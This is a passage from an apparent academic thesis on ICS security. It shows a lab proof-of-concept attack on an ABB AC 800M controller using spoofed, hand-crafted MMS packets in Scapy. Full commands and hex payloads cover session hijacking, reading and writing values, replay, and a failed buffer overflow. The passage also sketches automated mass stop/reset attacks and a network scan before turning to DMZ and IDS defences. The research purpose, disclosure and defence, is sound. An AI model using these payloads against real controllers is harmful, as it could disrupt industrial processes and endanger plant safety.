The Mu-4000 reports several errors, but all these errors disappear when we raise the
timeout and delay parameters. It is very unlikely that an attacker would allow such generous parameters so it is important to rerun these tests one by one and see how it affects
7.5. AC 800 M
117
the AC 800 M’s operation and communication with the Control Builder application. We
also wish to point out the need to determine if there are any unknown side effects to
these errors and to decide on a mitigation path to remove those errors.
Chapter 8
A Packet Crafting Attack
As stated in section 1.2 our main research methodology is the engineering approach. In
this chapter we will put this method to use by attacking the AC 800M controller through
custom made MMS PDUs. We will inject PDUs into the network to discover what such
an attack might accomplish.
8.1
First Packet Crafting Attack
As stated in section 2.7, we wish to verify the statement from Byres et al. [11] regarding
the feasibility of injecting constructed traffic into a network. This test is only meant as
a ”proof-of-concept” to determine the feasibility of such an attack.
8.1.1
Test Setup
Our test uses the knowledge gained from the analysis of MMS in chapter 4. We have
used the test setup depicted in figure 8.1. The AC 800 M is running the test application
described in section 4.4. Our primary objective will be to extract a value from the AC
800 M using only custom crafted packages and the knowledge gained in chapter 4. To
construct the custom packages we will use the Scapy Packet Constructor [Sca07d]. Scapy
is described in section 5.2.6.
8.1.2
Establishing a TCP Connection
As we are not proficient enough in Python to create a program to automate the attack
injecting a request in a session between the workstation and the AC 800 M, we will
establish our own session against the controller using the IP address of the workstation
118
8.1. FIRST PACKET CRAFTING ATTACK
119
Figure 8.1: The lab setup for ”proof-of-concept” packet crafting attack.
in our crafted packaged to make the attack more realistic. Use of workstations IP address
is not necessary form this test to work, we just wished to simulate an attackers behavior.
The need for automating such an attack is due to the extracting and and calculation of
TCP sequence (SEQ nr) and acknowledgment (ACK nr) numbers in real-time. These
values are needed to inject a valid TCP packet into the session between the controller
and the workstation.
We know from Nmap and Nessus scans that AC 800M’s MMS port is 102 over TCP. The
workstation seems to choose a random non-privileged port for MMS communication. We
will use TCP port number 2321. As described in section 4.3 and figure 4.1 the MMS
communicates over a TCP-emulated ISO OSI COTP class four connection. The first
step is is therefore to establish a TCP connection. The initiator of a TCP connection
sends a TCP PDU with the SYN flag set. We used the command below to send a TCP
SYN packet with Scapy.
>>>c=sr1(IP(dst="172.16.0.20",src="172.16.0.10",proto=6,flags=2,seq=0)/
TCP(sport=2321,dport=102,flags="S"))
As seen above we first define the IP header with IP source and destination addresses.
Please note that we spoof the IP address of the workstation as the source of this request.
The proto variable defines which protocol the IP payload is. To find the correct value
we could either search the web or use Scapy’s help function to list out possible values.
The value 6, or 0x06, is the IP protocol identifier of the TCP protocol. Please note that
Scapy translates decimal numbers to either hexadecimal or binary values depending on
the packet field. We also set the don’t fragment flag in the IP header in a similar manner.
We have chosen to set this flag, to avoid any complications with the IP identification
field. The IP identification field is a 16 bit number, which together with the source
120
CHAPTER 8. A PACKET CRAFTING ATTACK
address uniquely identifies an IP packet. This is used during reassembly of fragmented
IP datagrams.
Then we move on to constructing the TCP header. We define the source and destination
ports through the sport and dport variables. We then set the SYN flag in the TCP
header to indicate a connection setup request and set the sequence number for our side
to zero, as this is an easy value to use in further calculations.
We use the sr1 method to send the package. This method will intercept the first response
to our package and store it in the variable c. For more information on Scapy methods
we refer to [Sca07e], but please note that the documentation is not complete.
The controller then responds with a TCP SYN+ACK packet. As we used the sr1
method and stored the packet in the variable c, we are now able to extract the sequence
number chosen by the AC 800M controller and increment this number by one. Then we
use this number in the ACK nr field of the TCP header to indicate that we have received
the TCP SYN+ACK PDU. Based on this information we can construct our response.
The Scapy command to send the response is included below.
>>>send(IP(dst="172.16.0.20",src=" 172.16.0.10",proto=6,flags=2)
/TCP(sport=2321,dport=102,flags="A",seq=1,ack= c.seq+1))
We see that there are no changes to the IP header. We increase the SEQ nr by one
and uses the reference to the captured response stored in the variable c to increment
the ACK nr. This time we use a normal send method as we have no interest in any
responses. We have now completed a 3-way TCP handshake and have established a fake
TCP connection. The controller now believes it is connected to the workstation. After
setting up the connection the controller will send out TCP PDUs until the connection
times out.
We do not use any mechanism, such as DOS attacks, to knock out the workstation. We
thought the workstation might react to someone using its IP address to set up TCP
connections with other network entities, but MS Windows XP seems to ignore any ”outof-session” traffic.
8.1.3
The Connection Oriented Transport Protocol (COTP) Connection
According to [39] the TCP payload must contain the TPKT encapsulation header to
emulate the ISO OSI TP 4 service. This four byte header is described in section 4.3.
It contains a version field with the value three, a reserved field with zeroes and a two
byte length field. Except for the length bytes, the other values are static. We find the
encoding of TPKT through Wireshark, which tells us that the first four bytes of the TCP
payload is 0x03 0x00 0x00 0x13 for a 19 byte long packet including the TPKT header.
8.1. FIRST PACKET CRAFTING ATTACK
121
Now that we have the TCP connection and encapsulation ready, we move upwards in
the stack and set up the COTP connection. The COTP connection setup is described
in section 4.3.
A COTP connection is initiated by sending a COTP Connect Request (CR) PDU. We
have already observed several COTP connection setups as they are a result of the long
URL attack described in section 7.5.5. We have compared several connection attempts
and found that the COTP CR PDU is static from connection to connection. We have
included a description of the CR PDU as presented in Wireshark below.
ISO 8073 COTP Connection-Oriented Transport Protocol
Length: 14
PDU Type: CR Connect Request (0x0e)
Destination reference: 0x0000
Source reference: 0x0095
Class: 0
Option: 0
Parameter Code: 0xc1 (src-tsap)
Parameter length: 2
Source TSAP: 0100
Parameter Code: 0xc2 (dst-tsap)
Parameter length: 2
Destination TSAP: 0200
The TSAP in COTP is similar to ports in TCP. By extracting the hexadecimal encoding
of the COTP CR from Wireshark, we are now able to use this knowledge to send a COTP
CR to the AC 800M. We have included the Scapy command below.
>>>>d=sr(IP(dst="172.16.0.20",src=" 172.16.0.10",proto=6,flags=2)
/TCP(sport=2321,dport=102,flags="AP",seq=1,ack= c.seq+1)
/"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x95\x00\xc1\x02
\x01\x00\xc2\x02\x02\x00")
As seen above we set both the TCP ACK and PSH flags. The TCP push flag tells
the receiving end of the TCP connection to ”push” all buffered data to the receiving
application. As there are more layers between the TCP layer and the application, each
TCP packet will have the TCP PSH flag set so that data is delivered at once to the
higher layers. As the previous message we sent to the controller was an acknowledgment
(a TCP ACK) the sequence number will not be incremented since pure acknowledgment
messages do not increase the sequence number. The hexadecimal payload consists of
first the four byte TPKT header and then a 15 byte COTP CR PDU. As Scapy does
not separate the payload of unknown protocols, we have to concatenate the hexadecimal
122
CHAPTER 8. A PACKET CRAFTING ATTACK
strings to make one TCP payload.
The response from the controller is an almost identical to the COTP CR. The COTP
Connect Confirm (CC) has inverted the source and destination TSAP fields and added
its reference value to zeroed destination reference field in the COTP CC PDU. The full
COTP CC PDU is included below. We wish to point out the the Parameter length field
contains the length of the Source TSAP and Destination TSAP fields. After sending
out the COTP CC PDU the controller continues to send out TCP ACK messages to
keep the connection alive.
ISO 8073 COTP Connection-Oriented Transport Protocol
Length: 14
PDU Type: CC Connect Confirm (0x0d)
Destination reference: 0x0095
Source reference: 0x0074
Class: 0
Option: 0
Parameter Code: 0xc1 (src-tsap)
Parameter length: 2
Source TSAP: 0200
Parameter Code: 0xc2 (dst-tsap)
Parameter length: 2
Destination TSAP: 0100
8.1.4
MMS Communication Context Establishment
Finally, with the lower layer connections established, we can start to negotiate a MMS
connection setup with the controller. According to the ISO 9506 standard [7], a MMS
connection is initiated by sending a MMS initiate-Request PDU. We have also intercepted a MMS initiate-Request when observing the network during the long URL attack
described in section 7.5.5. We found that Wireshark represents a MMS initiate-Request
in the following manner.
MMS
initiate-RequestPDU
localDetailCalling: 8187
proposedMaxServOutstandingCalling: 3
proposedMaxServOutstandingCalled: 3
proposedDataStructureNestingLevel: 127
mmsInitRequestDetail
proposedVersionNumber: 1
Padding: 5
8.1. FIRST PACKET CRAFTING ATTACK
123
1... .... = str1: True
.1.. .... = str2: True
..1. .... = vnam: True
...0 .... = valt: False
.... 1... = vadr: True
.... .0.. = vsca: False
.... ..0. = tpy: False
.... ...0 = vlid: False
0... .... = real: False
..0. .... = cei: False
Padding: 3
servicesSupportedCalling: EC00183f0ff41003010090
1... .... = status: True
.1.. .... = getNameList: True
..1. .... = identify: True
...0 .... = rename: False
.... 1... = read: True
.... .1.. = write: True
.... ..0. = getVariableAccessAttributes: False
.... ...0 = defineNamedVariable: False
0... .... = defineScatteredAccess: False
..0. .... = getScatteredAccessAttributes: False
* CONTINUES *
We see a negotiation phase where the calling party present the services they support to
the callie by using a long hexadecimal number. The service list continues further but
we have chosen not to include the whole list. If you wish to examine the whole list
we refer to the CD accompanying this thesis. Further we observe that each bit in the
binary representation of a hexadecimal byte represent a Boolean true/false value for a
ConfirmedServiceRequest ASN.1 module. We have included the full module in section
A.2.2. We again extract the information needed by using Wireshark and use Scapy to
send a MMS initiate-Request PDU. To construct this payload we used the same four
byte hexadecimal representation of the TPKT PDU and adjusted the two length bytes
to 0x00 0x2e, that is 46 bytes. The COTP data transport PDU has a three byte header
according to RFC 1006 [39] and is discussed in section 4.3. Every COTP header used in
textitdata transport mode have the same hexadecimal encoding, 0x02 0xf0 0x80. The
first octet is the length indicator for the rest of the COTP PDU. The second octet is
divided in two, the four most significant bits indicate the COTP PDU type, 0b1111 or
0xf is code the data transfer. The four last bits may be used to define Quality of Service
parameters. The last byte is a construct where the most significant bit is a Last Data
Unit flag, this flag is in MMS communication always set to 0b1. The remaining seven
bits are a COTP TPDU number which always is zeroed out. The remaining 38 bytes of
124
CHAPTER 8. A PACKET CRAFTING ATTACK
the PDU described below are the MMS initiate-Request PDU. As the previous Scapy
message had a TCP payload of 19 bytes, we have now set the TCP sequence number to
20 and the COTP CC PDU from the controller also contained 19 bytes we acknowledge
the reception of these bytes by increasing the acknowledgment number by 19.
>>>>e=sr(IP(dst=" 172.16.0.20",src="172.16.0.10",proto=6,flags=2)
/TCP(sport=2321,dport=102,flags="AP",seq=20,ack= c.seq+19)
/"\x03\x00\x00\x2e\x02\xf0\x80\xa8\x25\x80\x02\x1f\xfb\x81\x01
\x03\x82\x01\x03\x83\x01\x7f\xa4\x16\x80\x01\x01\x81\x03\x05\xe8
\x00\x82\x0c\x03\xec\x00\x18\x3f\x0f\xf6\x10\x03\x01\xf8\x90")
The controller sends an initiate-ResponsePDU as reply to our request. From the controller’s point of view it has now an MMS connection with the workstation, so we have
succeeded in establishing a fake MMS connection and can try to send a request for data
to the controller. The initiate-ResponsePDU is included below. We found that the
PDUs are similar to the initiate-Request PDU, with one difference: All parameters that
started with ”proposed” in the previous PDU now have the label ”negotiated” instead.
But all values suggested by us, seem to have been accepted. That parameters are negotiated without any form of authentication of the participating parties could be a potential
security risk as an attacker could enable dangerous MMS methods when setting up a
false connection.
MMS
initiate-ResponsePDU
localDetailCalling: 8187
negotiatedMaxServOutstandingCalling: 3
negotiatedMaxServOutstandingCalled: 3
negotiatedDataStructureNestingLevel: 127
mmsInitRequestDetail
proposedVersionNumber: 1
Padding: 5
1... .... = str1: True
.1.. .... = str2: True
..1. .... = vnam: True
...0 .... = valt: False
.... 1... = vadr: True
.... .0.. = vsca: False
.... ..0. = tpy: False
.... ...0 = vlid: False
0... .... = real: False
..0. .... = cei: False
Padding: 3
servicesSupportedCalling: EC00183f0ff41003010090
8.1. FIRST PACKET CRAFTING ATTACK
1...
.1..
..1.
...0
....
....
....
....
0...
..0.
....
....
....
....
1...
.1..
..0.
...0
....
....
=
=
=
=
=
=
=
=
=
=
125
status: True
getNameList: True
identify: True
rename: False
read: True
write: True
getVariableAccessAttributes: False
defineNamedVariable: False
defineScatteredAccess: False
getScatteredAccessAttributes: False
* CONTINUES *
8.1.5
MMS Data Request
To retrieve data from the AC 800M controller we will use a confirmedServiceRequest read
PDU similar to the one analyzed in section 4.4.3. As we based on our previous analysis
can identify the key octets indicating the unconstrainedAddress and invokeId. We can
easily construct the PDU. To test if the controller responds to random invokeIds, we
chose 39, 0x27, as our invokeId. Included below is the Scapy command used to send the
request.
>>>>f=sr(IP(dst="172.16.0.20",src=" 172.16.0.10",proto=6,flags=2)
/TCP(sport=2321,dport=102,flags="AP",seq=66,ack= c.seq+54)
/"\x03\x00\x00\x38\x02\xf0\x80\xa0\x2f\x02\x01\x27\xa4\x2a
\xa1\x28\xa0\x26\x30\x24\xa1\x22\x82\x20\x03\xff\x17\x52\x33
\x31\x30\x35\x30\x30\x30\x31\x36\x41\x70\x70\x6c\x69\x63\x61
\x74\x69\x6f\x6e\x5f\x31\x02\x00\x03\x01\x00\x03")
The controller responds with the MMS PDU analyzed below. We recognize this as a
confirmed-ResponsePDU, similar to the one analyzed in section 4.4.4. The value of our
application is 34. We verified that this was the correct value using the workstation and
the control builder application.
1
3
5
7
a1
0c
CONTENT SPECIFIC c o n s t r u c t e d nr 1
LENGTH=12
02
01
27
UNIVERSAL p r i m i t i v e nr 2 (INTEGER)
LENGTH=1
39
126
9
CHAPTER 8. A PACKET CRAFTING ATTACK
a4
07
CONTENT SPECIFIC c o n s t r u c t e d nr 4
LENGTH=7
11
a1
05
13
CONTENT SPECIFIC c o n s t r u c t e d nr 1
LENGTH=5
89
03
15
CONTENT SPECIFIC p r i m i t i v e nr 9
LENGTH=3
17
00
00
22
19
0
0
34
We have now seen that it is possible to extract data from the AC 800M by injecting
packages into the network. We have done this by establishing a false MMS connection, tricking the controller into believing that it is communicating with the workstation
through a normal MMS connection.
8.2
Replay of MMS PDUs
We wish to see if there is any real replay protection in the invokeID field in a MMS packet.
The invokeId field is present in every MMS PDU. It links an request to a response by
sharing the same id. In this section we will test the controller by sending two MMS data
requests with the same invokeId number. We wish to determine if the controller detects
that two following requests have the same invokeId, and thereby is capable of detecting
a replay attack. If the controller rejects the second PDU, this is could stop a primitive
replay attack where the attacker just replay a eavesdropped PDU without altering the
content. We have constructed two identical MMS confirmedServiceRequest read PDUs
with Scapy. The PDUs are displayed below.
>>>>f=sr(IP(dst="172.16.0.20",src="172.16.0.10",proto=6,flags=2)
/TCP(sport=2321,dport=102,flags="AP",seq=66,ack=c.seq+54)
/"\x03\x00\x00\x38\x02\xf0\x80\xa0\x2f\x02\x01\x27\xa4\x2a
\xa1\x28\xa0\x26\x30\x24\xa1\x22\x82\x20\x03\xff\x17\x52\x33
\x31\x30\x35\x30\x30\x30\x31\x36\x41\x70\x70\x6c\x69\x63\x61
\x74\x69\x6f\x6e\x5f\x31\x02\x00\x03\x01\x00\x03")
>>>>g=sr(IP(dst="172.16.0.20",src="172.16.0.10",proto=6,flags=2)
/TCP(sport=2321,dport=102,flags="AP",seq=122,ack=c.seq+75 )
/"\x03\x00\x00\x38\x02\xf0\x80\xa0\x2f\x02\x01\x27\xa4\x2a
\xa1\x28\xa0\x26\x30\x24\xa1\x22\x82\x20\x03\xff\x17\x52\x33
8.3. SETTING A VALUE ON THE AC 800 M
127
\x31\x30\x35\x30\x30\x30\x31\x36\x41\x70\x70\x6c\x69\x63\x61
\x74\x69\x6f\x6e\x5f\x31\x02\x00\x03\x01\x00\x03")
As seen above, the only difference between the two PDUs are that we adjust the sequence
and acknowledgment numbers accordingly to the TCP byte stream to create valid TCP
PDUs. We set up all underlying connections, as well as the MMS connection, in the
same manner as we did in the previous sections, still posing as the workstation. The
controller replies to the first request in a normal manner. It reports back the value of
i in our application. The controller accepts the second PDU, and reports back the new
value of i. This means that the only function of the invokeId field is to link a request
to a response. The AC 800M accepts any any number as a invokeIDs regardless of if
the number is part of an ordered sequence or not and it also accepts PDU duplicates
containing the same sequence number.
8.3
Setting a Value on the AC 800 M
To have total control over a device the attacker must have both read and write access.
Our final test will therefore be to attempt to set a variable on the controller. When an
application writes to the controller it first takes control over a semaphore through an
MMS takeControl PDU. The PDU, as it is depicted in Wireshark, is included below.
MMS
confirmed-RequestPDU
invokeID: 1
confirmedServiceRequest: takeControl (19)
takeControl
semaphoreName: vmd-specific (0)
vmd-specific: reserved
acceptableDelay: 0
relinquishIfConnectionLost: True
In our attempt we will set a longer acceptableDelay, 11, and set the relinquishIfConnectionLost equal to False and then let the TCP connection time out. We set up all
underlying connections, as well as the MMS connection, in the same manner as we did
in the previous sections, again posing as the workstation. We constructed the PDU seen
below to send with Scapy. The fourth last byte, 0x0b, is the acceptableDelay value and
the last byte, 0x00, sets the relinquishIfConnectionLost Boolean value false.
>>>>f=sr(IP(dst="172.16.0.20",src="172.16.0.10",proto=6,flags=2)
/TCP(sport=2321,dport=102,flags="AP",seq=66,ack=c.seq+54)
128
CHAPTER 8. A PACKET CRAFTING ATTACK
/"\x03\x00\x00\x20\x02\xf0\x80\xa0\x17\x02\x01\x01\xb3\x12
\xa0\x0a\x80\x08\x72\x65\x73\x65\x72\x76\x65\x64\x83\x01
\x0b\x86\x01\x00")
The controller responds with a comfimedServiceResponse. We have now shown that we
are able to write to variables on the AC 800M. We let the connection time out and tried
to take control over the semaphore again by setting up a new connection and sending
new a takeControl request, similar to the Wireshark confirmed-RequestPDU depicted
above, to the controller. This time the AC 800M replied with a confirmed-ErrorPDU.
The PDU is depicted below. We had to power down the controller before we again could
take control over the semaphore.
MMS
confirmed.ErrorPDU
invokeID: 1
serviceError
errorClass: service (4)
service: object-state-conflict (2)
additionalDescription: 172.16.0.10
8.4
A Simple Buffer Overflow Attempt
We wish to attempt to create a buffer overflow in the AC 800M by sending packets with
long payloads. We base our attempt on the PDU containing an MMS unconstrainedAddress with a value 325523R310500Application 1203103. Our first attempt was to just
copy the address part of the string paste it in several times. We did not adjust the
length of the Type-Length-Value (TLV) encoding of the PDU. The controller processed
the confirmedServiceRequest within the length bounds and we got no noticeable reaction
on the rest of the payload. We therefore decided to make do one last attempt, adjusting
all length headers and sending a request for an 144 byte address. We have shown the
construction of the MMS PDU below.
>>>>bf=sr(IP(dst="172.16.0.20",src="172.16.0.10",proto=6,flags=2)
/TCP(sport=2321,dport=102,flags="AP",seq=122,ack=c.seq+75)
/"\x03\x00\x00\xa8
(The TPKT header. Length: 168 bytes total )
\x02\xf0\x80
(The COTP header. Length: 2 bytes)
8.5. DISCUSSION OF THE PACKET CRAFTING ATTACK
\xa0\x9f
(confirmed-RequestPDU. Length: 159 bytes)
\x02\x01\x27
(InvokeId. Length:1 byte)
\xa4\x9a
(ConfirmedServiceRequest. Length: 154 bytes)
\xa1\x98
(Read-Request. Length: 152 bytes)
\xa0\x96
(variableAccessSpecification. Length: 150 bytes)
\x30\x94
(variableSpecification. Length: 148 bytes)
\xa1\x92
(address. Length: 146)
\x82\x90
(unconstrainedAddress. Length: 144)
129
\x03\xff\x17\x52\x33\x31\x30\x35\x30\x30\x30\x31\x36\x41\x70\x70\x6c
\x69\x63\x61\x74\x69\x6f\x6e\x5f\x31\x02\x00\x03\x01\x00\x03\x03\x00
\x00\x38\x02\xf0\x80\xa0\x2f\x02\x01\x27\xa4\x2a\xa1\x28\xa0\x26\x30
\x24\xa1\x22\x82\x20\x03\xff\x17\x52\x33\x31\x30\x35\x30\x30\x30\x31
\x36\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x5f\x31\x02\x00\x03
\x01\x00\x03\x03\x00\x00\x38\x02\xf0\x80\xa0\x2f\x02\x01\x27\xa4\x2a
\xa1\x28\xa0\x26\x30\x24\xa1\x22\x82\x20\x03\xff\x17\x52\x33\x31\x30
\x35\x30\x30\x30\x31\x36\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e
\x5f\x31\x02\x00\x03\x01\x00\x03")
The construction is as follows. The fourth byte in the TPKT header contains the length
of the TPKT header as well as the rest of the payload. The COTP header’s first byte is
a length byte indicating the length of the rest of the COTP header. This is followed by
a normal sequence of TLV encoded MMS data with the unconstrainedAddress payload
at the end. When we send this PDU, the controller responds with an MMS rejectPDU.
We have not been able to determine the reason behind this rejection. We think there is
some information encoded into the address string that states that this is not a correct
address and that the controller rejects it using this, but time does not permit us to dwell
on this issue any further in this thesis. We will therefore have to leave this to further
work.
8.5
Discussion of the Packet Crafting Attack
We have verified the statement from Eric Byres et al. [11] regarding the feasibility of
injecting constructed traffic into a network. We have seen that it is possible to create a
false session with the controller by sending crafted PDUs to the controller posing as a
130
CHAPTER 8. A PACKET CRAFTING ATTACK
workstation. There is no need to pose as another network entity to get the AC 800 M to
accept the connection, we just felt that it is one scheme an attacker might use to hide her
presence from an IDS or other monitoring systems. We have performed the same tests
using our true IP address with the same result. An attacker does not have to set up her
own connection to the controller, she may perform a (wo)man-in-the-middle attack using
ARP-poisoning to direct all traffic from the workstation to her and then forward altered
traffic to the controller. Scapy may perform ARP-poisoning by flooding the network with
forged gratuitous ARP messages enabling such an attack. Such an attack would open
for automating larger parts of the attack through python code. Another possibility is to
do a traffic analysis and observe the regularities in the communication patterns between
the workstation and the controller. As we discovered in section 4.4 and depicted in
figure 4.2, the PDU sequence repeats itself with a period of seven packets. As long as
the reported value stays within three bytes and the invokeId within one byte the packet
sizes will remain constant and an attacker may in advance calculate a TCP sequence
and acknowledgment numbers and inject the crafted PDU into an already established
TCP connection between the workstation and the controller. The TCP numbers are the
only difficulty an attacker must overcome to replay intercepted packets over the network
since the invokeId field inside all MMS packets serve, as we have shown above, no other
function than to link a request to a response. If the controller rejected used invokeIds
on application level, this would add a little more work for the attacker as she would be
forced to either do the same analysis work as in chapter 4 or compile Wireshark with
the patch to identify the additional sequence number.
We have also seen that we may both read and write to the controller as we wish. There
are currently no mechanisms stopping us from performing such operations. We have in
this thesis only showed that it is possible to both read and write to the AC 800 M. If we
read the servicesSupportedCalling list inside the MMS initiate-RequestPDU and initiateResponsePDU shown in section 8.1.4, we find that both read and write operations are
in fact allowed. We have included a full printout of the MMS initiate-RequestPDU
in section A.3. As seen in the appendix there are several normal MMS methods that
are enabled and these could cause serious harm to a DCS network, e.g., stop, reset,
deleteProgramInvocation or deleteDomain. In addition to this there are file operations
such as fileDelete and upload and download operations such as downloadSegment and
uploadSegment. Time does not permit us to investigate these normal MMS methods
closer in this thesis, but we feel that it is more than likely that they could be exploited
by an attacker through packet crafting similar to what we have been doing in this thesis.
That we failed to preform a successful buffer overflow attack does not indicate that such
attacks are not feasible on the AC 800M. Buffer overflow attacks are known to have
serious consequences on PCs so we fear there might be similar consequences on DCS
equipment.
A possible scenario is an attacker who first scans the network IP range for hosts who
have TCP port 102 open for MMS communication and stores all these IP addresses in
an array. Then the attacker starts to send MMS stop or reset messages to these hosts.
8.5. DISCUSSION OF THE PACKET CRAFTING ATTACK
131
Such an attack could most likely stop all applications running on controllers on the
network. By using a framework such as Scapy an attacker can implement both the port
scan and the packet crafting in python, thus automating the entire attack. To illustrate
Scapys power we show below the commands to scan our lab network (with netmask
255.255.255.240) for hosts that are listening on port 80.
>>>>p=IP(dst="129.241.252.112/28")/TCP(dport=80,flags="s")
>>>>sr(p)
>>>>results = _[0]
>>>>for pout, pin in results:
if pin.flags == 2:
print pout.dest
129.241.252.123
129.241.252.125
It only takes four Scapy commands to scan an entire network. To scan a network for open
MMS ports all the attacker would have to do is to change the portnumber from 80 to
102. The example above is from an article called Packet Wizardry: Ruling the Network
with Python [Pac07]. This only illustrates how easily such tools could be created. We
know now that there are no security measures preventing an attacker from establishing
a connection with the AC 800 M, and therefore the AC 800 M is forced to rely on other
equipment such as firewalls to protect it from attacks.
This ”proof-of-concept” attack clearly demonstrates that MMS contain serious security
flaws. We feel this is a vulnerability in the industrial communication protocol rather
than in the device. This means that any device containing an MMS client or server will
be vulnerable to similar attacks. Our ”proof-of-concept” clearly point out the need for
some message integrity and authentication mechanisms in MMS. As we discussed in
chapter 3 there are several ways to implement such security features. As a temporary
precaution MMS communication may benefit from the tunneling approach described
in section 3.2.3, but considering the quote from the ISO MMS document in section
4.5 regarding the security level of MMS we feel that the whole Manufacturing Message
Specification (MMS) need a a full security revision. In the next chapter we will discuss
the security of DCS networks using our test results.
Chapter 9
Discussion
In this chapter we will shift our focus from a device level and try to put our findings
into a larger setting. We will focus on a general DCS network and use it as a setting for
our discussion.
9.1
Plant Security
We will base our discussion on a general plant network architecture depicted in figure
9.1. The network consists of a corporate network with thin clients and workstations
used for administrative functions. On DCS network we find a database historian and
workstations with Human-Machine Interface (HMI) applications used to interact with
the controllers. The controllers are linked to field devices through a Fieldbus network.
We also observe the use of redundant networks in the DCS.
We have seen that there are several potential vulnerabilities in the AC 800 M controller.
Even though some of these may be removed by patching the controller, others, such
as custom crafted MMS exploits, are much harder to detect and stop as they often
pose as legitimate MMS traffic. As the DCS devices themselves do not have enough
processing power to run IP tables or other packet inspecting schemes the DCS network
deploys perimeter defenses to protect the entities who are unable to fend for themselves.
This puts the DCS aware firewalls and IDS presented in sections 3.1 and 3.3 back on
the agenda as these devices must also be protected from abuse of legal DCS protocol
messages. To do so the firewalls must be able to perform packet filtering decisions based
on inspection of fields in the DCS message header. When constructing DCS firewall rules
one must be very careful not create false positives causing the firewall drop important
legal traffic.
The same applies to IDS systems. Most IDS vendors offer an Intrusion Prevention System
(IPS) capability on IDS systems that can not only detect a signature being triggered,
132
9.1. PLANT SECURITY
Figure 9.1: A general DCS plant network [28].
133
134
CHAPTER 9. DISCUSSION
but also block the offending communication. Given that availability is a critical issue in
control systems, false positives in an IPS implementation could have disastrous results.
One the other hand, if the DCS has a relatively high level of autonomy, one could
possibly argue that an IPS solution filtering traffic from corporate network to the DCS
might provide higher security than just an IDS. This is of course dependent on the effect
one false positive would have on the DCS. Too strict security rules could take down the
DCS just as an attack could.
In figure 3.2 the NIST [45] guide presents the U.S Department of Homeland Security’s
Control Systems Security Program’s recommendation for a defense in depth architecture
for DCS networks. We see that there are IDS sensors deployed on every firewall and
network segment and also one behind the DCS firewall where the DMZ is connected to
the DCS network. We see that the same applies to the backup control center. As most
traffic going inn and out of the DCS network will be well-defined in the sense that it
contains very little abnormal and stochastic traffic patterns, the IDS sensor behind the
DCS firewall would be in a good position to use an anomaly-based detection scheme
to detect malicious traffic. As an anomaly-based IDS sensor observes the DCS network
traffic over time and builds a traffic profile based on its observations, it could provide
more accurate detection than through a static signature set.
On the other hand the information flow between corporate and DCS networks in integrated operations might also pose a security risk, if the security settings are too liberal to
accommodate the information flow between networks. One such scenario is depicted in
figure 9.2. We see a workstation on the corporate network accessing information stored
on a host inside the DCS network, e.g., the data historian. As we have seen in chapter
7, many of the devices run HTTP and SNMP services providing easy access to device
and control information. Any information retrieval between networks means that the
firewall protecting the DCS network must be open for those protocols. As TCP port
80 is a well known recipient for exploits and one can transport virtually anything inside
HTTP, it could pose a serious security risk to open the DCS firewall on port 80 or any
other well-known port. Therefore, we feel that all DCS networks should deploy a DMZ
similar to the one depicted in figure 3.3.
As stated in chapter 1, there are several known worm attacks against DCS networks. A
worm will, most likely, first infect hosts in the corporate network, unless it comes from
an infected host directly connected to the DCS network via dial-up lines or some other
remote access function. I.e., one could picture a subcontractor connecting an infected
host to the DCS network when preforming some sort of maintenance operation on the
equipment. Then, as a second stage, the infected host will launch an attack on the
DCS devices. To prevent worms infecting the DCS network one should define a security
policy stating that all communication should go through the DMZ, this should also
include maintenance operations. This might be cumbersome for the maintenance crew
but it will provide better security for the DCS network.
The DCS network depicted in figure 9.1 has no DMZ. We feel that all DCS networks
9.1. PLANT SECURITY
135
Figure 9.2: A workstation on the corporate network is accessing information stored inside
the DCS network [28].
should deploy an architecture similar to figure 3.3 to achieve optimal network security.
We realize that the deployment of a DMZ might be a trade-off between the CEO and
CTO, but a DMZ provides very good security at relatively low cost.
As stated earlier, the MSBlaster worm [Mal07] used a vulnerability in RPC/DCOM as
its spreading mechanism. One major industrial protocol, OPC, uses RPC/DCOM as
transport protocol and is often used for communication inside the DCS and sometimes
between the DCS and corporate network. Any firewall open for OPC communication
would allow the worm to enter the DCS. Even though the worm targeted MS Windows
2000 and XP hosts, it would still cause a lot of unwanted traffic scanning for vulnerable
hosts and delay in the DCS network. Such scanning could also have unknown sideeffects on the DCS devices. As many HMI workstations use MS Windows as their
operating system they might also have been vulnerable to the worm. The MSBlaster
worm demonstrates that even though there currently are few known incidents involving
malware written especially for DCS networks ”normal” malware poses a great security
risk for DCS networks. Protection of the DCS network against worm attacks may be
enhanced by defining advanced rules for communication through the DMZ. One such
rule could be that no application level protocol should be used on both sides of the DMZ,
e.g., if MMS is used in the DCS network then the corporate network should use OPC
to retrieve information. This requires the an OPC/MMS gateway in the DMZ and may
add some complexity and cost to the DMZ, but it provides much better security against
worm propagation as the worm now must use two different transport protocols to infect
hosts inside the DCS.
The database inside a data historian device could also be a prime target for any SQL
worm similar to the Slammer. There are currently patches available for both MSBlaster
and Slammer, so any patched DCS network should be safe. Currently, the common patch
strategy for DCS is a bit different from the one used in normal computer networks. When
a patch is released they first install it on a test system, to verify that the patch does not
136
CHAPTER 9. DISCUSSION
interfere with DCS applications or devices. After testing the patch is applied to DCS
equipment. This is similar to the strategy described in [31] for rolling out new services
and application upgrades on a network; first install one service on a single host, test
and verify that the new service as well as all old services are working in harmony. Then
repeat the installation process on all hosts on a network segment, test and verify, before
installing on the whole network. On DCS networks patches all patches and security
updates are tested before on a test system before they are installed on the production
system. DCS applications tend to be closely linked to the operating systems core due
to high real time demands. Therefore each patch and possibly combinations of patches
must be tested before installing them on hosts in the DCS network. This test regime
leaves the DCS network with a longer window of vulnerability when it comes to security
patches. Test time for service packs and larger OS updates makes the window even
longer, and sometimes the service packs are ignored as it interferes with DCS specific
applications, at least till the application can be adapted to its new OS environment. We
can understand the need to verify that patches do not interfere with DCS operations and
agree that the test regime is a good solution even though it extends the vulnerability
window. The danger lies in the fast propagation of worms and ”intelligent” malware, as
we have seen many times over the last years, worms may have an exponential growth
rate and infect thousands of hosts in the first hour of its ravaging. An Internet worm can
travel the world in minutes tearing open servers and inflicting arbitrary damage. The
DCS systems are left vulnerable to attacks for a longer period of time, as testing and
verification of compatibility with DCS applications takes time. This of course comes in
addition to the time spent on analyzing the worm and creating a patch. In 2005 the
Gartner Group Survey ranked worms as the top IT security threat for the next years
[Gar05]. So it is likely that we have only seen the beginning of worms on the Internet.
A way to limit the need to test all patches might be to write DCS applications moved
